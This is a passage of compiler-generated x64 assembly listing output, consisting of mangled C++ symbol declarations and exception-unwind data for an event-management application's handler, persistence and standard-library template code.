PUBLIC ?_Get_first@?$_Compressed_pair@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@V?$_Vector_val@U?$_Simple_types@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@2@$00@std@@QEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ ; std::_Compressed_pair<std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::_Vector_val<std::_Simple_types<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,1>::_Get_first
PUBLIC ??1UserCredentials@Persistence@TechnicalServices@@QEAA@XZ ; TechnicalServices::Persistence::UserCredentials::~UserCredentials
PUBLIC ?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z ; Domain::Event::EventHandler::UseEventManagement
PUBLIC ??1EventHandler@Event@Domain@@UEAA@XZ ; Domain::Event::EventHandler::~EventHandler
PUBLIC ??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z ; std::make_unique<Domain::Event::EventManagement,TechnicalServices::Persistence::UserCredentials const &,0>
PUBLIC ??R?$default_delete@UEventManagement@Event@Domain@@@std@@QEBAXPEAUEventManagement@Event@Domain@@@Z ; std::default_delete<Domain::Event::EventManagement>::operator()
PUBLIC ??1?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@XZ ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::~unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >
PUBLIC ?get_deleter@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::get_deleter
PUBLIC ?release@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAPEAUEventManagement@Event@Domain@@XZ ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::release
PUBLIC ?_Get_first@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ ; std::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1>::_Get_first
PUBLIC ??$?0UEventManagement@Event@Domain@@$0A@@?$default_delete@VEventHandler@Event@Domain@@@std@@QEAA@AEBU?$default_delete@UEventManagement@Event@Domain@@@1@@Z ; std::default_delete<Domain::Event::EventHandler>::default_delete<Domain::Event::EventHandler><Domain::Event::EventManagement,0>
PUBLIC ??$?0UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$QEAV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@1@@Z ; std::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> >::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> ><Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement>,0>
PUBLIC ??$?0U?$default_delete@VEventHandler@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$T@Z ; std::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> >::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> ><std::default_delete<Domain::Event::EventHandler>,0>
PUBLIC ??$_Delete_plain_internal@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z ; std::_Delete_plain_internal<std::allocator<std::_Container_proxy> >
PUBLIC ??$exchange@PEAU_Container_proxy@std@@$$T@std@@YAPEAU_Container_proxy@0@AEAPEAU10@$$QEA$$T@Z ; std::exchange<std::_Container_proxy *,std::nullptr_t>
PUBLIC ??$?0V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@@Z ; std::allocator<std::_Container_proxy>::allocator<std::_Container_proxy><std::basic_string<char,std::char_traits<char>,std::allocator<char> > >
PUBLIC ??$?0D@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@D@1@@Z ; std::allocator<std::_Container_proxy>::allocator<std::_Container_proxy><char>
PUBLIC ??$_Destroy_in_place@PEAD@std@@YAXAEAPEAD@Z ; std::_Destroy_in_place<char *>
PUBLIC ??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z ; std::_Deallocate<16,0>
PUBLIC ??$_Destroy_range@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@YAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@QEAV10@AEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@0@@Z ; std::_Destroy_range<std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >
PUBLIC ??$forward@AEBUUserCredentials@Persistence@TechnicalServices@@@std@@YAAEBUUserCredentials@Persistence@TechnicalServices@@AEBU123@@Z ; std::forward<TechnicalServices::Persistence::UserCredentials const &>
PUBLIC ??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@PEAUEventManagement@Event@Domain@@@Z ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> ><std::default_delete<Domain::Event::EventManagement>,0>
PUBLIC ??$forward@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@YA$$QEAU?$default_delete@UEventManagement@Event@Domain@@@0@AEAU10@@Z ; std::forward<std::default_delete<Domain::Event::EventManagement> >
PUBLIC ??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_One_then_variadic_args_t@1@$$QEAU?$default_delete@UEventManagement@Event@Domain@@@1@$$QEAPEAUEventManagement@Event@Domain@@@Z ; std::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1>::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1><std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *>
PUBLIC ??$?0$$V@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@@Z ; std::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1>::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1><>
PUBLIC ??$_Deallocate_plain@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z ; std::_Deallocate_plain<std::allocator<std::_Container_proxy> >
PUBLIC ??$_Unfancy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@YAPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PEAV10@@Z ; std::_Unfancy<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >
PUBLIC ??$destroy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$_Default_allocator_traits@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@SAXAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@QEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z ; std::_Default_allocator_traits<std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::destroy<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >
PUBLIC ??$exchange@PEAUEventManagement@Event@Domain@@PEAU123@@std@@YAPEAUEventManagement@Event@Domain@@AEAPEAU123@$$QEAPEAU123@@Z ; std::exchange<Domain::Event::EventManagement *,Domain::Event::EventManagement *>
PUBLIC ??$?0AEAPEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@AEAPEAUEventManagement@Event@Domain@@@Z ; std::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1>::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1><Domain::Event::EventManagement * &>
PUBLIC ??$forward@PEAUEventManagement@Event@Domain@@@std@@YA$$QEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z ; std::forward<Domain::Event::EventManagement *>
PUBLIC ?deallocate@?$_Default_allocator_traits@V?$allocator@U_Container_proxy@std@@@std@@@std@@SAXAEAV?$allocator@U_Container_proxy@std@@@2@QEAU_Container_proxy@2@_K@Z ; std::_Default_allocator_traits<std::allocator<std::_Container_proxy> >::deallocate
PUBLIC ??$forward@AEAPEAUEventManagement@Event@Domain@@@std@@YAAEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z ; std::forward<Domain::Event::EventManagement * &>
PUBLIC __JustMyCode_Default
PUBLIC ?__LINE__Var@?0??_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z@4JA ; `std::_Adjust_manually_vector_aligned'::`1'::__LINE__Var
PUBLIC ??_C@_0BB@FCMFBGOM@invalid?5argument@ ; `string'
PUBLIC ??_C@_02DKCKIIND@?$CFs@ ; `string'
PUBLIC ??_C@_0GI@CLKHGMEI@C?3?2Program?5Files?5?$CIx86?$CJ?2Microsof@ ; `string'
PUBLIC ??_C@_1NA@PDNNFCLD@?$AAC?$AA?3?$AA?2?$AAP?$AAr?$AAo?$AAg?$AAr?$AAa?$AAm?$AA?5?$AAF?$AAi?$AAl?$AAe@ ; `string'
PUBLIC ??_C@_1EK@NIFDJFDG@?$AAs?$AAt?$AAd?$AA?3?$AA?3?$AA_?$AAA?$AAd?$AAj?$AAu?$AAs?$AAt?$AA_?$AAm?$AAa@ ; `string'
PUBLIC ??_C@_1CG@JNLFBNGN@?$AA?$CC?$AAi?$AAn?$AAv?$AAa?$AAl?$AAi?$AAd?$AA?5?$AAa?$AAr?$AAg?$AAu?$AAm?$AAe@ ; `string'
PUBLIC ??_7EventHandler@Event@Domain@@6B@ ; Domain::Event::EventHandler::`vftable'
PUBLIC ??_R4EventHandler@Event@Domain@@6B@ ; Domain::Event::EventHandler::`RTTI Complete Object Locator'
PUBLIC ??_R0?AVEventHandler@Event@Domain@@@8 ; Domain::Event::EventHandler `RTTI Type Descriptor'
PUBLIC ??_R3EventHandler@Event@Domain@@8 ; Domain::Event::EventHandler::`RTTI Class Hierarchy Descriptor'
PUBLIC ??_R2EventHandler@Event@Domain@@8 ; Domain::Event::EventHandler::`RTTI Base Class Array'
PUBLIC ??_R1A@?0A@EA@EventHandler@Event@Domain@@8 ; Domain::Event::EventHandler::`RTTI Base Class Descriptor at (0,-1,0,64)'
EXTRN _purecall:PROC
EXTRN ??2@YAPEAX_K@Z:PROC ; operator new
EXTRN ??3@YAXPEAX_K@Z:PROC ; operator delete
EXTRN __imp__invalid_parameter:PROC
EXTRN __imp__CrtDbgReport:PROC
EXTRN __imp_??0_Lockit@std@@QEAA@H@Z:PROC
EXTRN __imp_??1_Lockit@std@@QEAA@XZ:PROC
EXTRN ?instance@PersistenceHandler@Persistence@TechnicalServices@@SAAEAV123@XZ:PROC ; TechnicalServices::Persistence::PersistenceHandler::instance
EXTRN ??0EventManagement@Event@Domain@@QEAA@AEBUUserCredentials@Persistence@TechnicalServices@@@Z:PROC ; Domain::Event::EventManagement::EventManagement
EXTRN _RTC_CheckStackVars:PROC
EXTRN _RTC_InitBase:PROC
EXTRN _RTC_Shutdown:PROC
EXTRN __CheckForDebuggerJustMyCode:PROC
EXTRN __CxxFrameHandler4:PROC
EXTRN __GSHandlerCheck:PROC
EXTRN __GSHandlerCheck_EH4:PROC
EXTRN __security_check_cookie:PROC
EXTRN ??_7type_info@@6B@:BYTE ; type_info::`vftable'
EXTRN __security_cookie:QWORD
; COMDAT pdata
pdata SEGMENT
$pdata$?__empty_global_delete@@YAXPEAX@Z DD imagerel $LN3
DD imagerel $LN3+64
DD imagerel $unwind$?__empty_global_delete@@YAXPEAX@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?__empty_global_delete@@YAXPEAX_K@Z DD imagerel $LN3
DD imagerel $LN3+69
DD imagerel $unwind$?__empty_global_delete@@YAXPEAX_K@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?__empty_global_delete@@YAXPEAXW4align_val_t@std@@@Z DD imagerel $LN3
DD imagerel $LN3+69
DD imagerel $unwind$?__empty_global_delete@@YAXPEAXW4align_val_t@std@@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?__empty_global_delete@@YAXPEAX_KW4align_val_t@std@@@Z DD imagerel $LN3
DD imagerel $LN3+74
DD imagerel $unwind$?__empty_global_delete@@YAXPEAX_KW4align_val_t@std@@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z DD imagerel $LN21
DD imagerel $LN21+476
DD imagerel $unwind$?_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?_Orphan_all@_Container_base12@std@@QEAAXXZ DD imagerel $LN7
DD imagerel $LN7+232
DD imagerel $unwind$?_Orphan_all@_Container_base12@std@@QEAAXXZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?deallocate@?$allocator@D@std@@QEAAXQEAD_K@Z DD imagerel $LN3
DD imagerel $LN3+93
DD imagerel $unwind$?deallocate@?$allocator@D@std@@QEAAXQEAD_K@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?assign@?$_Narrow_char_traits@DH@std@@SAXAEADAEBD@Z DD imagerel $LN3
DD imagerel $LN3+88
DD imagerel $unwind$?assign@?$_Narrow_char_traits@DH@std@@SAXAEADAEBD@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?_Large_string_engaged@?$_String_val@U?$_Simple_types@D@std@@@std@@QEBA_NXZ DD imagerel $LN5
DD imagerel $LN5+107
DD imagerel $unwind$?_Large_string_engaged@?$_String_val@U?$_Simple_types@D@std@@@std@@QEBA_NXZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??1_Bxty@?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ DD imagerel $LN3
DD imagerel $LN3+64
DD imagerel $unwind$??1_Bxty@?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??1?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ DD imagerel $LN3
DD imagerel $LN3+71
DD imagerel $unwind$??1?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ DD imagerel $LN3
DD imagerel $LN3+212
DD imagerel $unwind$??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?_Tidy_deallocate@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAXXZ DD imagerel $LN4
DD imagerel $LN4+255
DD imagerel $unwind$?_Tidy_deallocate@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAXXZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?_Getal@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAAEAV?$allocator@D@2@XZ DD imagerel $LN3
DD imagerel $LN3+79
DD imagerel $unwind$?_Getal@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAAEAV?$allocator@D@2@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?_Get_first@?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAAAEAV?$allocator@D@2@XZ DD imagerel $LN3
DD imagerel $LN3+71
DD imagerel $unwind$?_Get_first@?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAAAEAV?$allocator@D@2@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??1?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAA@XZ DD imagerel $LN3
DD imagerel $LN3+67
DD imagerel $unwind$??1?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAA@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??_G?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAAPEAXI@Z DD imagerel $LN4
DD imagerel $LN4+105
DD imagerel $unwind$??_G?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAAPEAXI@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?deallocate@?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@QEAAXQEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@_K@Z DD imagerel $LN3
DD imagerel $LN3+97
DD imagerel $unwind$?deallocate@?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@QEAAXQEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@_K@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ DD imagerel $LN3
DD imagerel $LN3+201
DD imagerel $unwind$??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?_Destroy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@0@Z DD imagerel $LN3
DD imagerel $LN3+108
DD imagerel $unwind$?_Destroy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@0@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?_Tidy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXXZ DD imagerel $LN4
DD imagerel $LN4+286
DD imagerel $unwind$?_Tidy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXXZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?_Getal@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ DD imagerel $LN3
DD imagerel $LN3+79
DD imagerel $unwind$?_Getal@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?_Get_first@?$_Compressed_pair@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@V?$_Vector_val@U?$_Simple_types@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@2@$00@std@@QEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ DD imagerel $LN3
DD imagerel $LN3+71
DD imagerel $unwind$?_Get_first@?$_Compressed_pair@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@V?$_Vector_val@U?$_Simple_types@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@2@$00@std@@QEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??1UserCredentials@Persistence@TechnicalServices@@QEAA@XZ DD imagerel $LN3
DD imagerel $LN3+109
DD imagerel $unwind$??1UserCredentials@Persistence@TechnicalServices@@QEAA@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z DD imagerel $LN8
DD imagerel $LN8+334
DD imagerel $unwind$?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?dtor$0@?0??UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA DD imagerel ?dtor$0@?0??UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA
DD imagerel ?dtor$0@?0??UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA+36
DD imagerel $unwind$?dtor$0@?0??UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??1EventHandler@Event@Domain@@UEAA@XZ DD imagerel $LN3
DD imagerel $LN3+81
DD imagerel $unwind$??1EventHandler@Event@Domain@@UEAA@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z DD imagerel $LN8
DD imagerel $LN8+219
DD imagerel $unwind$??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?dtor$0@?0???$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA DD imagerel ?dtor$0@?0???$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA
DD imagerel ?dtor$0@?0???$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA+44
DD imagerel $unwind$?dtor$0@?0???$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??R?$default_delete@UEventManagement@Event@Domain@@@std@@QEBAXPEAUEventManagement@Event@Domain@@@Z DD imagerel $LN5
DD imagerel $LN5+152
DD imagerel $unwind$??R?$default_delete@UEventManagement@Event@Domain@@@std@@QEBAXPEAUEventManagement@Event@Domain@@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??1?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@XZ DD imagerel $LN4
DD imagerel $LN4+135
DD imagerel $unwind$??1?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?get_deleter@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ DD imagerel $LN3
DD imagerel $LN3+79
DD imagerel $unwind$?get_deleter@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?release@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAPEAUEventManagement@Event@Domain@@XZ DD imagerel $LN3
DD imagerel $LN3+97
DD imagerel $unwind$?release@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAPEAUEventManagement@Event@Domain@@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?_Get_first@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ DD imagerel $LN3
DD imagerel $LN3+71
DD imagerel $unwind$?_Get_first@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$?0UEventManagement@Event@Domain@@$0A@@?$default_delete@VEventHandler@Event@Domain@@@std@@QEAA@AEBU?$default_delete@UEventManagement@Event@Domain@@@1@@Z DD imagerel $LN3
DD imagerel $LN3+76
DD imagerel $unwind$??$?0UEventManagement@Event@Domain@@$0A@@?$default_delete@VEventHandler@Event@Domain@@@std@@QEAA@AEBU?$default_delete@UEventManagement@Event@Domain@@@1@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
